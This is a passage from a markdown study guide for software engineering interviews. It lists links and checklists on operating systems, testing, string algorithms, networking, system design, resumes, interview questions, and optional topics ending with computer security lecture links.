(video)](https://www.youtube.com/watch?v=vjYF_fAZI5E&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-&index=24) - [ ] [MIT 6.004 L16: Cache Issues (video)](https://www.youtube.com/watch?v=ajgC3-pyGlk&index=25&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-) - ### Processes and Threads - [ ] Computer Science 162 - Operating Systems (25 videos): - for processes and threads see videos 1-11 - [Operating Systems and System Programming (video)](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iBDyz-ba4yDskqMDY6A1w_c) - [What Is The Difference Between A Process And A Thread?](https://www.quora.com/What-is-the-difference-between-a-process-and-a-thread) - Covers: - Processes, Threads, Concurrency issues - Difference between processes and threads - Processes - Threads - Locks - Mutexes - Semaphores - Monitors - How they work? - Deadlock - Livelock - CPU activity, interrupts, context switching - Modern concurrency constructs with multicore processors - [Paging, segmentation and virtual memory (video)](https://youtu.be/O4nwUqQodAg) - [Interrupts (video)](https://youtu.be/iKlAWIKEyuw) - Process resource needs (memory: code, static storage, stack, heap, and also file descriptors, i/o) - Thread resource needs (shares above (minus stack) with other threads in the same process but each has its own pc, stack counter, registers, and stack) - Forking is really copy on write (read-only) until the new process writes to memory, then it does a full copy. - Context switching - [How context switching is initiated by the operating system and underlying hardware?](https://www.javatpoint.com/what-is-the-context-switching-in-the-operating-system) - [ ] [threads in C++ (series - 10 videos)](https://www.youtube.com/playlist?list=PL5jc9xFGsL8E12so1wlMS0r0hTQoJL74M) - [ ] [CS 377 Spring '14: Operating Systems from University of Massachusetts](https://www.youtube.com/playlist?list=PLacuG5pysFbDQU8kKxbUh4K5c1iL5_k7k) - [ ] concurrency in Python (videos): - [ ] [Short series on threads](https://www.youtube.com/playlist?list=PL1H1sBF1VAKVMONJWJkmUh6_p8g4F2oy1) - [ ] [Python Threads](https://www.youtube.com/watch?v=Bs7vPNbB9JM) - [ ] [Understanding the Python GIL (2010)](https://www.youtube.com/watch?v=Obt-vMVdM8s) - [reference](http://www.dabeaz.com/GIL) - [ ] [David Beazley - Python Concurrency From the Ground Up: LIVE! - PyCon 2015](https://www.youtube.com/watch?v=MCs5OvhV9S4) - [ ] [Keynote David Beazley - Topics of Interest (Python Asyncio)](https://www.youtube.com/watch?v=ZzfHjytDceU) - [ ] [Mutex in Python](https://www.youtube.com/watch?v=0zaPs8OtyKY) - ### Testing - To cover: - how unit testing works - what are mock objects - what is integration testing - what is dependency injection - [ ] [Agile Software Testing with James Bach (video)](https://www.youtube.com/watch?v=SAhJf36_u5U) - [ ] [Open Lecture by James Bach on Software Testing (video)](https://www.youtube.com/watch?v=ILkT_HV9DVU) - [ ] [Steve Freeman - Test-Driven Development (that’s not what we meant) (video)](https://vimeo.com/83960706) - [slides](http://gotocon.com/dl/goto-berlin-2013/slides/SteveFreeman_TestDrivenDevelopmentThatsNotWhatWeMeant.pdf) - [ ] Dependency injection: - [ ] [video](https://www.youtube.com/watch?v=IKD2-MAkXyQ) - [ ] [Tao Of Testing](http://jasonpolites.github.io/tao-of-testing/ch3-1.1.html) - [ ] [How to write tests](http://jasonpolites.github.io/tao-of-testing/ch4-1.1.html) - ### String searching & manipulations - [ ] [Sedgewick - Suffix Arrays (video)](https://www.coursera.org/learn/algorithms-part2/lecture/TH18W/suffix-arrays) - [ ] [Sedgewick - Substring Search (videos)](https://www.coursera.org/learn/algorithms-part2/home/week/4) - [ ] [1. Introduction to Substring Search](https://www.coursera.org/lecture/algorithms-part2/introduction-to-substring-search-n3ZpG) - [ ] [2. Brute-Force Substring Search](https://www.coursera.org/learn/algorithms-part2/lecture/2Kn5i/brute-force-substring-search) - [ ] [3. Knuth-Morris Pratt](https://www.coursera.org/learn/algorithms-part2/lecture/TAtDr/knuth-morris-pratt) - [ ] [4. Boyer-Moore](https://www.coursera.org/learn/algorithms-part2/lecture/CYxOT/boyer-moore) - [ ] [5. Rabin-Karp](https://www.coursera.org/lecture/algorithms-part2/rabin-karp-3KiqT) - [ ] [Search pattern in text (video)](https://www.coursera.org/learn/data-structures/lecture/tAfHI/search-pattern-in-text) If you need more detail on this subject, see "String Matching" section in [Additional Detail on Some Subjects](#additional-detail-on-some-subjects). - ### Tries - Note there are different kinds of tries. Some have prefixes, some don't, and some use string instead of bits to track the path - I read through code, but will not implement - [ ] [Sedgewick - Tries (3 videos)](https://www.coursera.org/learn/algorithms-part2/home/week/4) - [ ] [1. R Way Tries](https://www.coursera.org/learn/algorithms-part2/lecture/CPVdr/r-way-tries) - [ ] [2. Ternary Search Tries](https://www.coursera.org/learn/algorithms-part2/lecture/yQM8K/ternary-search-tries) - [ ] [3. Character Based Operations](https://www.coursera.org/learn/algorithms-part2/lecture/jwNmV/character-based-operations) - [ ] [Notes on Data Structures and Programming Techniques](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Tries) - [ ] Short course videos: - [ ] [Introduction To Tries (video)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/08Xyf/core-introduction-to-tries) - [ ] [Performance Of Tries (video)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/PvlZW/core-performance-of-tries) - [ ] [Implementing A Trie (video)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/DFvd3/core-implementing-a-trie) - [ ] [The Trie: A Neglected Data Structure](https://www.toptal.com/java/the-trie-a-neglected-data-structure) - [ ] [TopCoder - Using Tries](https://www.topcoder.com/thrive/articles/Using%20Tries) - [ ] [Stanford Lecture (real world use case) (video)](https://www.youtube.com/watch?v=TJ8SkcUSdbU) - [ ] [MIT, Advanced Data Structures, Strings (can get pretty obscure about halfway through) (video)](https://www.youtube.com/watch?v=NinWEPPrkDQ&index=16&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf) - ### Floating Point Numbers - [ ] simple 8-bit: [Representation of Floating Point Numbers - 1 (video - there is an error in calculations - see video description)](https://www.youtube.com/watch?v=ji3SfClm8TU) - ### Unicode - [ ] [The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets]( http://www.joelonsoftware.com/articles/Unicode.html) - [ ] [What Every Programmer Absolutely, Positively Needs To Know About Encodings And Character Sets To Work With Text](http://kunststube.net/encoding/) - ### Endianness - [ ] [Big And Little Endian](https://web.archive.org/web/20180107141940/http://www.cs.umd.edu:80/class/sum2003/cmsc311/Notes/Data/endian.html) - [ ] [Big Endian Vs Little Endian (video)](https://www.youtube.com/watch?v=JrNF0KRAlyo) - [ ] [Big And Little Endian Inside/Out (video)](https://www.youtube.com/watch?v=oBSuXP-1Tc0) - Very technical talk for kernel devs. Don't worry if most is over your head. - The first half is enough. - ### Networking - **If you have networking experience or want to be a reliability engineer or operations engineer, expect questions** - Otherwise, this is just good to know - [ ] [Khan Academy](https://www.khanacademy.org/computing/code-org/computers-and-the-internet) - [ ] [UDP and TCP: Comparison of Transport Protocols (video)](https://www.youtube.com/watch?v=Vdc8TCESIg8) - [ ] [TCP/IP and the OSI Model Explained! (video)](https://www.youtube.com/watch?v=e5DEVa9eSN0) - [ ] [Packet Transmission across the Internet. Networking & TCP/IP tutorial. (video)](https://www.youtube.com/watch?v=nomyRJehhnM) - [ ] [HTTP (video)](https://www.youtube.com/watch?v=WGJrLqtX7As) - [ ] [SSL and HTTPS (video)](https://www.youtube.com/watch?v=S2iBR2ZlZf0) - [ ] [SSL/TLS (video)](https://www.youtube.com/watch?v=Rp3iZUvXWlM) - [ ] [HTTP 2.0 (video)](https://www.youtube.com/watch?v=E9FxNzv1Tr8) - [ ] [Video Series (21 videos) (video)](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j) - [ ] [Subnetting Demystified - Part 5 CIDR Notation (video)](https://www.youtube.com/watch?v=t5xYI0jzOf4) - [ ] Sockets: - [ ] [Java - Sockets - Introduction (video)](https://www.youtube.com/watch?v=6G_W54zuadg&t=6s) - [ ] [Socket Programming (video)](https://www.youtube.com/watch?v=G75vN2mnJeQ) --- ## Final Review This section will have shorter videos that you can watch pretty quickly to review most of the important concepts. It's nice if you want a refresher often. - [ ] Series of 2-3 minutes short subject videos (23 videos) - [Videos](https://www.youtube.com/watch?v=r4r1DZcx1cM&list=PLmVb1OknmNJuC5POdcDv5oCS7_OUkDgpj&index=22) - [ ] Series of 2-5 minutes short subject videos - Michael Sambol (46 videos): - [Videos](https://www.youtube.com/@MichaelSambol) - [Code Examples](https://github.com/msambol/dsa) - [ ] [Sedgewick Videos - Algorithms I](https://www.coursera.org/learn/algorithms-part1) - [ ] [Sedgewick Videos - Algorithms II](https://www.coursera.org/learn/algorithms-part2) --- ## Update Your Resume - See Resume prep information in the books: "Cracking The Coding Interview" and "Programming Interviews Exposed" - ["This Is What A GOOD Resume Should Look Like" by Gayle McDowell (author of Cracking the Coding Interview)](https://www.careercup.com/resume), - Note by the author: "This is for a US-focused resume. CVs for India and other countries have different expectations, although many of the points will be the same." - ["Step-by-step resume guide" by Tech Interview Handbook](https://www.techinterviewhandbook.org/resume/guide) - Detailed guide on how to set up your resume from scratch, write effective resume content, optimize it, and test your resume ## Interview Process & General Interview Prep - [ ] [How to Pass the Engineering Interview in 2021](https://davidbyttow.medium.com/how-to-pass-the-engineering-interview-in-2021-45f1b389a1) - [ ] [Demystifying Tech Recruiting](https://www.youtube.com/watch?v=N233T0epWTs) - [ ] How to Get a Job at the Big 4: - [ ] [How to Get a Job at the Big 4 - Amazon, Facebook, Google & Microsoft (video)](https://www.youtube.com/watch?v=YJZCUhxNCv8) - [ ] [How to Get a Job at the Big 4.1 (Follow-up video)](https://www.youtube.com/watch?v=6790FVXWBw8&feature=youtu.be) - [ ] Cracking The Coding Interview Set 1: - [ ] [Gayle L McDowell - Cracking The Coding Interview (video)](https://www.youtube.com/watch?v=rEJzOhC5ZtQ) - [ ] [Cracking the Coding Interview with Author Gayle Laakmann McDowell (video)](https://www.youtube.com/watch?v=aClxtDcdpsQ) - [ ] Cracking the Facebook Coding Interview: - [ ] [The Approach](https://www.youtube.com/watch?v=wCl9kvQGHPI) - [ ] [Problem Walkthrough](https://www.youtube.com/watch?v=4UWDyJq8jZg) - Prep Courses: - [Python for Data Structures, Algorithms, and Interviews (paid course)](https://www.udemy.com/python-for-data-structures-algorithms-and-interviews/): - A Python centric interview prep course which covers data structures, algorithms, mock interviews and much more. - [Intro to Data Structures and Algorithms using Python (Udacity free course)](https://www.udacity.com/course/data-structures-and-algorithms-in-python--ud513): - A free Python centric data structures and algorithms course. - [Data Structures and Algorithms Nanodegree! (Udacity paid Nanodegree)](https://www.udacity.com/course/data-structures-and-algorithms-nanodegree--nd256): - Get hands-on practice with over 100 data structures and algorithm exercises and guidance from a dedicated mentor to help prepare you for interviews and on-the-job scenarios. - [Grokking the Behavioral Interview (Educative free course)](https://www.educative.io/courses/grokking-the-behavioral-interview): - Many times, it’s not your technical competency that holds you back from landing your dream job, it’s how you perform on the behavioral interview. - [AlgoMonster (paid course with free content)](https://algo.monster/?utm_campaign=jwasham&utm_medium=referral&utm_content=coding-interview-university&utm_source=github): - The crash course for LeetCode. Covers all the patterns condensed from thousands of questions. Mock Interviews: - [Gainlo.co: Mock interviewers from big companies](http://www.gainlo.co/#!/) - I used this and it helped me relax for the phone screen and on-site interview - [Pramp: Mock interviews from/with peers](https://www.pramp.com/) - peer-to-peer model of practice interviews - [interviewing.io: Practice mock interview with senior engineers](https://interviewing.io) - anonymous algorithmic/systems design interviews with senior engineers from FAANG anonymously - [Meetapro: Mock interviews with top FAANG interviewers](https://meetapro.com/?utm_source=ciu) - an Airbnb-style mock interview/coaching platform. ## Be thinking of for when the interview comes Think of about 20 interview questions you'll get, along with the lines of the items below. Have at least one answer for each. Have a story, not just data, about something you accomplished. - Why do you want this job? - What's a tough problem you've solved? - Biggest challenges faced? - Best/worst designs seen? - Ideas for improving an existing product - How do you work best, as an individual and as part of a team? - Which of your skills or experiences would be assets in the role and why? - What did you most enjoy at [job x / project y]? - What was the biggest challenge you faced at [job x / project y]? - What was the hardest bug you faced at [job x / project y]? - What did you learn at [job x / project y]? - What would you have done better at [job x / project y]? ## Have questions for the interviewer Some of mine (I already may know the answers, but want their opinion or team perspective): - How large is your team? - What does your dev cycle look like? Do you do waterfall/sprints/agile? - Are rushes to deadlines common? Or is there flexibility? - How are decisions made in your team? - How many meetings do you have per week? - Do you feel your work environment helps you concentrate? - What are you working on? - What do you like about it? - What is the work life like? - How is the work/life balance? ## Once You've Got The Job Congratulations! Keep learning. You're never really done. --- ***************************************************************************************************** ***************************************************************************************************** Everything below this point is optional. It is NOT needed for an entry-level interview. However, by studying these, you'll get greater exposure to more CS concepts, and will be better prepared for any software engineering job. You'll be a much more well-rounded software engineer. ***************************************************************************************************** ***************************************************************************************************** --- ## Additional Books These are here so you can dive into a topic you find interesting. - [The Unix Programming Environment](https://www.amazon.com/dp/013937681X) - An oldie but a goodie - [The Linux Command Line: A Complete Introduction](https://www.amazon.com/dp/1593273894/) - A modern option - [TCP/IP Illustrated Series](https://en.wikipedia.org/wiki/TCP/IP_Illustrated) - [Head First Design Patterns](https://www.amazon.com/gp/product/0596007124/) - A gentle introduction to design patterns - [Design Patterns: Elements of Reusable Object-Oriente​d Software](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612) - AKA the "Gang Of Four" book, or GOF - The canonical design patterns book - [Algorithm Design Manual](http://www.amazon.com/Algorithm-Design-Manual-Steven-Skiena/dp/1849967202) (Skiena) - As a review and problem recognition - The algorithm catalog portion is well beyond the scope of difficulty you'll get in an interview - This book has 2 parts: - Class textbook on data structures and algorithms - Pros: - Is a good review as any algorithms textbook would be - Nice stories from his experiences solving problems in industry and academia - Code examples in C - Cons: - Can be as dense or impenetrable as CLRS, and in some cases, CLRS may be a better alternative for some subjects - Chapters 7, 8, 9 can be painful to try to follow, as some items are not explained well or require more brain than I have - Don't get me wrong: I like Skiena, his teaching style, and mannerisms, but I may not be Stony Brook material - Algorithm catalog: - This is the real reason you buy this book. - This book is better as an algorithm reference, and not something you read cover to cover. - Can rent it on Kindle - Answers: - [Solutions](https://web.archive.org/web/20150404194210/http://www.algorithm.cs.sunysb.edu/algowiki/index.php/The_Algorithms_Design_Manual_(Second_Edition)) - [Errata](http://www3.cs.stonybrook.edu/~skiena/algorist/book/errata) - [Algorithm](http://jeffe.cs.illinois.edu/teaching/algorithms/) (Jeff Erickson) - [Write Great Code: Volume 1: Understanding the Machine](https://www.amazon.com/Write-Great-Code-Understanding-Machine/dp/1593270038) - The book was published in 2004, and is somewhat outdated, but it's a terrific resource for understanding a computer in brief - The author invented [HLA](https://en.wikipedia.org/wiki/High_Level_Assembly), so take mentions and examples in HLA with a grain of salt. Not widely used, but decent examples of what assembly looks like - These chapters are worth the read to give you a nice foundation: - Chapter 2 - Numeric Representation - Chapter 3 - Binary Arithmetic and Bit Operations - Chapter 4 - Floating-Point Representation - Chapter 5 - Character Representation - Chapter 6 - Memory Organization and Access - Chapter 7 - Composite Data Types and Memory Objects - Chapter 9 - CPU Architecture - Chapter 10 - Instruction Set Architecture - Chapter 11 - Memory Architecture and Organization - [Introduction to Algorithms](https://www.amazon.com/Introduction-Algorithms-fourth-Thomas-Cormen/dp/026204630X) - **Important:** Reading this book will only have limited value. This book is a great review of algorithms and data structures, but won't teach you how to write good code. You have to be able to code a decent solution efficiently - AKA CLR, sometimes CLRS, because Stein was late to the game - [Computer Architecture, Sixth Edition: A Quantitative Approach](https://www.amazon.com/dp/0128119055) - For a richer, more up-to-date (2017), but longer treatment ## System Design, Scalability, Data Handling **You can expect system design questions if you have 4+ years of experience.** - Scalability and System Design are very large topics with many topics and resources, since there is a lot to consider when designing a software/hardware system that can scale. Expect to spend quite a bit of time on this - Considerations: - Scalability - Distill large data sets to single values - Transform one data set to another - Handling obscenely large amounts of data - System design - features sets - interfaces - class hierarchies - designing a system under certain constraints - simplicity and robustness - tradeoffs - performance analysis and optimization - [ ] **START HERE**: [The System Design Primer](https://github.com/donnemartin/system-design-primer) - [ ] [System Design from HiredInTech](http://www.hiredintech.com/system-design/) - [ ] [How Do I Prepare To Answer Design Questions In A Technical Interview?](https://www.quora.com/How-do-I-prepare-to-answer-design-questions-in-a-technical-interview?redirected_qid=1500023) - [ ] [8 steps guide to ace your system design interview](https://javascript.plainenglish.io/8-steps-guide-to-ace-a-system-design-interview-7a5a797f4d7d) - [ ] [Database Normalization - 1NF, 2NF, 3NF and 4NF (video)](https://www.youtube.com/watch?v=UrYLYV7WSHM) - [ ] [System Design Interview](https://github.com/checkcheckzz/system-design-interview) - There are a lot of resources in this one. Look through the articles and examples. I put some of them below - [ ] [How to ace a systems design interview](https://web.archive.org/web/20120716060051/http://www.palantir.com/2011/10/how-to-rock-a-systems-design-interview/) - [ ] [Numbers Everyone Should Know](http://everythingisdata.wordpress.com/2009/10/17/numbers-everyone-should-know/) - [ ] [How long does it take to make a context switch?](http://blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html) - [ ] [Transactions Across Datacenters (video)](https://www.youtube.com/watch?v=srOgpXECblk) - [ ] [A plain English introduction to CAP Theorem](http://ksat.me/a-plain-english-introduction-to-cap-theorem) - [ ] [MIT 6.824: Distributed Systems, Spring 2020 (20 videos)](https://www.youtube.com/watch?v=cQP8WApzIQQ&list=PLrw6a1wE39_tb2fErI4-WkMbsvGQk9_UB) - [ ] Consensus Algorithms: - [ ] Paxos - [Paxos Agreement - Computerphile (video)](https://www.youtube.com/watch?v=s8JqcZtvnsM) - [ ] Raft - [An Introduction to the Raft Distributed Consensus Algorithm (video)](https://www.youtube.com/watch?v=P9Ydif5_qvE) - [ ] [Easy-to-read paper](https://raft.github.io/) - [ ] [Infographic](http://thesecretlivesofdata.com/raft/) - [ ] [Consistent Hashing](http://www.tom-e-white.com/2007/11/consistent-hashing.html) - [ ] [NoSQL Patterns](http://horicky.blogspot.com/2009/11/nosql-patterns.html) - [ ] Scalability: - You don't need all of these. Just pick a few that interest you. - [ ] [Great overview (video)](https://www.youtube.com/watch?v=-W9F__D3oY4) - [ ] Short series: - [Clones](http://www.lecloud.net/post/7295452622/scalability-for-dummies-part-1-clones) - [Database](http://www.lecloud.net/post/7994751381/scalability-for-dummies-part-2-database) - [Cache](http://www.lecloud.net/post/9246290032/scalability-for-dummies-part-3-cache) - [Asynchronism](http://www.lecloud.net/post/9699762917/scalability-for-dummies-part-4-asynchronism) - [ ] [Scalable Web Architecture and Distributed Systems](http://www.aosabook.org/en/distsys.html) - [ ] [Fallacies of Distributed Computing Explained](https://pages.cs.wisc.edu/~zuyu/files/fallacies.pdf) - [ ] [Jeff Dean - Building Software Systems At Google and Lessons Learned (video)](https://www.youtube.com/watch?v=modXC5IWTJI) - [ ] [Introduction to Architecting Systems for Scale](http://lethain.com/introduction-to-architecting-systems-for-scale/) - [ ] [Scaling mobile games to a global audience using App Engine and Cloud Datastore (video)](https://www.youtube.com/watch?v=9nWyWwY2Onc) - [ ] [How Google Does Planet-Scale Engineering for Planet-Scale Infra (video)](https://www.youtube.com/watch?v=H4vMcD7zKM0) - [ ] [The Importance of Algorithms](https://www.topcoder.com/thrive/articles/The%20Importance%20of%20Algorithms) - [ ] [Sharding](http://highscalability.com/blog/2009/8/6/an-unorthodox-approach-to-database-design-the-coming-of-the.html) - [ ] [Engineering for the Long Game - Astrid Atkinson Keynote(video)](https://www.youtube.com/watch?v=p0jGmgIrf_M&list=PLRXxvay_m8gqVlExPC5DG3TGWJTaBgqSA&index=4) - [ ] [7 Years Of YouTube Scalability Lessons In 30 Minutes](http://highscalability.com/blog/2012/3/26/7-years-of-youtube-scalability-lessons-in-30-minutes.html) - [video](https://www.youtube.com/watch?v=G-lGCC4KKok) - [ ] [How PayPal Scaled To Billions Of Transactions Daily Using Just 8VMs](http://highscalability.com/blog/2016/8/15/how-paypal-scaled-to-billions-of-transactions-daily-using-ju.html) - [ ] [How to Remove Duplicates in Large Datasets](https://blog.clevertap.com/how-to-remove-duplicates-in-large-datasets/) - [ ] [A look inside Etsy's scale and engineering culture with Jon Cowie (video)](https://www.youtube.com/watch?v=3vV4YiqKm1o) - [ ] [What Led Amazon to its Own Microservices Architecture](http://thenewstack.io/led-amazon-microservices-architecture/) - [ ] [To Compress Or Not To Compress, That Was Uber's Question](https://eng.uber.com/trip-data-squeeze/) - [ ] [When Should Approximate Query Processing Be Used?](http://highscalability.com/blog/2016/2/25/when-should-approximate-query-processing-be-used.html) - [ ] [Google's Transition From Single Datacenter, To Failover, To A Native Multihomed Architecture]( http://highscalability.com/blog/2016/2/23/googles-transition-from-single-datacenter-to-failover-to-a-n.html) - [ ] [The Image Optimization Technology That Serves Millions Of Requests Per Day](http://highscalability.com/blog/2016/6/15/the-image-optimization-technology-that-serves-millions-of-re.html) - [ ] [A Patreon Architecture Short](http://highscalability.com/blog/2016/2/1/a-patreon-architecture-short.html) - [ ] [Tinder: How Does One Of The Largest Recommendation Engines Decide Who You'll See Next?](http://highscalability.com/blog/2016/1/27/tinder-how-does-one-of-the-largest-recommendation-engines-de.html) - [ ] [Design Of A Modern Cache](http://highscalability.com/blog/2016/1/25/design-of-a-modern-cache.html) - [ ] [Live Video Streaming At Facebook Scale](http://highscalability.com/blog/2016/1/13/live-video-streaming-at-facebook-scale.html) - [ ] [A Beginner's Guide To Scaling To 11 Million+ Users On Amazon's AWS](http://highscalability.com/blog/2016/1/11/a-beginners-guide-to-scaling-to-11-million-users-on-amazons.html) - [ ] [A 360 Degree View Of The Entire Netflix Stack](http://highscalability.com/blog/2015/11/9/a-360-degree-view-of-the-entire-netflix-stack.html) - [ ] [Latency Is Everywhere And It Costs You Sales - How To Crush It](http://highscalability.com/latency-everywhere-and-it-costs-you-sales-how-crush-it) - [ ] [What Powers Instagram: Hundreds of Instances, Dozens of Technologies](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) - [ ] [Salesforce Architecture - How They Handle 1.3 Billion Transactions A Day](http://highscalability.com/blog/2013/9/23/salesforce-architecture-how-they-handle-13-billion-transacti.html) - [ ] [ESPN's Architecture At Scale - Operating At 100,000 Duh Nuh Nuhs Per Second](http://highscalability.com/blog/2013/11/4/espns-architecture-at-scale-operating-at-100000-duh-nuh-nuhs.html) - [ ] See "Messaging, Serialization, and Queueing Systems" way below for info on some of the technologies that can glue services together - [ ] Twitter: - [O'Reilly MySQL CE 2011: Jeremy Cole, "Big and Small Data at @Twitter" (video)](https://www.youtube.com/watch?v=5cKTP36HVgI) - [Timelines at Scale](https://www.infoq.com/presentations/Twitter-Timeline-Scalability) - For even more, see "Mining Massive Datasets" video series in the [Video Series](#video-series) section - [ ] Practicing the system design process: Here are some ideas to try working through on paper, each with some documentation on how it was handled in the real world: - review: [The System Design Primer](https://github.com/donnemartin/system-design-primer) - [System Design from HiredInTech](http://www.hiredintech.com/system-design/) - [cheat sheet](https://github.com/jwasham/coding-interview-university/blob/main/extras/cheat%20sheets/system-design.pdf) - flow: 1. Understand the problem and scope: - Define the use cases, with interviewer's help - Suggest additional features - Remove items that interviewer deems out of scope - Assume high availability is required, add as a use case 2. Think about constraints: - Ask how many requests per month - Ask how many requests per second (they may volunteer it or make you do the math) - Estimate reads vs. writes percentage - Keep 80/20 rule in mind when estimating - How much data written per second - Total storage required over 5 years - How much data read per second 3. Abstract design: - Layers (service, data, caching) - Infrastructure: load balancing, messaging - Rough overview of any key algorithm that drives the service - Consider bottlenecks and determine solutions - Exercises: - [Design a random unique ID generation system](https://blog.twitter.com/2010/announcing-snowflake) - [Design a key-value database](http://www.slideshare.net/dvirsky/introduction-to-redis) - [Design a picture sharing system](http://highscalability.com/blog/2011/12/6/instagram-architecture-14-million-users-terabytes-of-photos.html) - [Design a recommendation system](http://ijcai13.org/files/tutorial_slides/td3.pdf) - [Design a URL-shortener system: copied from above](http://www.hiredintech.com/system-design/the-system-design-process/) - [Design a cache system](https://web.archive.org/web/20220217064329/https://adayinthelifeof.nl/2011/02/06/memcache-internals/) ## Additional Learning I added them to help you become a well-rounded software engineer, and to be aware of certain technologies and algorithms, so you'll have a bigger toolbox. - ### Compilers - [How a Compiler Works in ~1 minute (video)](https://www.youtube.com/watch?v=IhC7sdYe-Jg) - [Harvard CS50 - Compilers (video)](https://www.youtube.com/watch?v=CSZLNYF4Klo) - [C++ (video)](https://www.youtube.com/watch?v=twodd1KFfGk) - [Understanding Compiler Optimization (C++) (video)](https://www.youtube.com/watch?v=FnGCDLhaxKU) - ### Emacs and vi(m) - Familiarize yourself with a unix-based code editor - vi(m): - [Editing With vim 01 - Installation, Setup, and The Modes (video)](https://www.youtube.com/watch?v=5givLEMcINQ&index=1&list=PL13bz4SHGmRxlZVmWQ9DvXo1fEg4UdGkr) - [VIM Adventures](http://vim-adventures.com/) - set of 4 videos: - [The vi/vim editor - Lesson 1](https://www.youtube.com/watch?v=SI8TeVMX8pk) - [The vi/vim editor - Lesson 2](https://www.youtube.com/watch?v=F3OO7ZIOaJE) - [The vi/vim editor - Lesson 3](https://www.youtube.com/watch?v=ZYEccA_nMaI) - [The vi/vim editor - Lesson 4](https://www.youtube.com/watch?v=1lYD5gwgZIA) - [Using Vi Instead of Emacs](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Using_Vi_instead_of_Emacs) - emacs: - [Basics Emacs Tutorial (video)](https://www.youtube.com/watch?v=hbmV1bnQ-i0) - set of 3 (videos): - [Emacs Tutorial (Beginners) -Part 1- File commands, cut/copy/paste, cursor commands](https://www.youtube.com/watch?v=ujODL7MD04Q) - [Emacs Tutorial (Beginners) -Part 2- Buffer management, search, M-x grep and rgrep modes](https://www.youtube.com/watch?v=XWpsRupJ4II) - [Emacs Tutorial (Beginners) -Part 3- Expressions, Statements, ~/.emacs file and packages](https://www.youtube.com/watch?v=paSgzPso-yc) - [Evil Mode: Or, How I Learned to Stop Worrying and Love Emacs (video)](https://www.youtube.com/watch?v=JWD1Fpdd4Pc) - [Writing C Programs With Emacs](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Writing_C_programs_with_Emacs) - [The Absolute Beginner's Guide to Emacs (video by David Wilson)](https://www.youtube.com/watch?v=48JlgiBpw_I&t=0s) - [The Absolute Beginner's Guide to Emacs (notes by David Wilson)](https://systemcrafters.net/emacs-essentials/absolute-beginners-guide-to-emacs/) - ### Unix command line tools - I filled in the list below from good tools. - bash - cat - grep - sed - awk - curl or wget - sort - tr - uniq - [strace](https://en.wikipedia.org/wiki/Strace) - [tcpdump](https://danielmiessler.com/study/tcpdump/) - ### Information theory (videos) - [Khan Academy](https://www.khanacademy.org/computing/computer-science/informationtheory) - More about Markov processes: - [Core Markov Text Generation](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/waxgx/core-markov-text-generation) - [Core Implementing Markov Text Generation](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/gZhiC/core-implementing-markov-text-generation) - [Project = Markov Text Generation Walk Through](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/EUjrq/project-markov-text-generation-walk-through) - See more in MIT 6.050J Information and Entropy series below - ### Parity & Hamming Code (videos) - [Intro](https://www.youtube.com/watch?v=q-3BctoUpHE) - [Parity](https://www.youtube.com/watch?v=DdMcAUlxh1M) - Hamming Code: - [Error detection](https://www.youtube.com/watch?v=1A_NcXxdoCc) - [Error correction](https://www.youtube.com/watch?v=JAMLuxdHH8o) - [Error Checking](https://www.youtube.com/watch?v=wbH2VxzmoZk) - ### Entropy - Also see videos below - Make sure to watch information theory videos first - [Information Theory, Claude Shannon, Entropy, Redundancy, Data Compression & Bits (video)](https://youtu.be/JnJq3Py0dyM?t=176) - ### Cryptography - Also see videos below - Make sure to watch information theory videos first - [Khan Academy Series](https://www.khanacademy.org/computing/computer-science/cryptography) - [Cryptography: Hash Functions](https://www.youtube.com/watch?v=KqqOXndnvic&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=30) - [Cryptography: Encryption](https://www.youtube.com/watch?v=9TNI2wHmaeI&index=31&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - ### Compression - Make sure to watch information theory videos first - Computerphile (videos): - [Compression](https://www.youtube.com/watch?v=Lto-ajuqW3w) - [Entropy in Compression](https://www.youtube.com/watch?v=M5c_RFKVkko) - [Upside Down Trees (Huffman Trees)](https://www.youtube.com/watch?v=umTbivyJoiI) - [EXTRA BITS/TRITS - Huffman Trees](https://www.youtube.com/watch?v=DV8efuB3h2g) - [Elegant Compression in Text (The LZ 77 Method)](https://www.youtube.com/watch?v=goOa3DGezUA) - [Text Compression Meets Probabilities](https://www.youtube.com/watch?v=cCDCfoHTsaU) - [Compressor Head videos](https://www.youtube.com/playlist?list=PLOU2XLYxmsIJGErt5rrCqaSGTMyyqNt2H) - [(optional) Google Developers Live: GZIP is not enough!](https://www.youtube.com/watch?v=whGwm0Lky2s) - ### Computer Security - [MIT (23 videos)](https://www.youtube.com/playlist?list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Introduction, Threat Models](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Control Hijacking Attacks](https://www.youtube.com/watch?v=6bwzNg5qQ0o&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=2) - [Buffer Overflow Exploits and Defenses](https://www.youtube.com/watch?v=drQyrzRoRiA&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=3) - [Privilege Separation](https://www.youtube.com/watch?v=6SIJmoE9L9g&index=4&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - 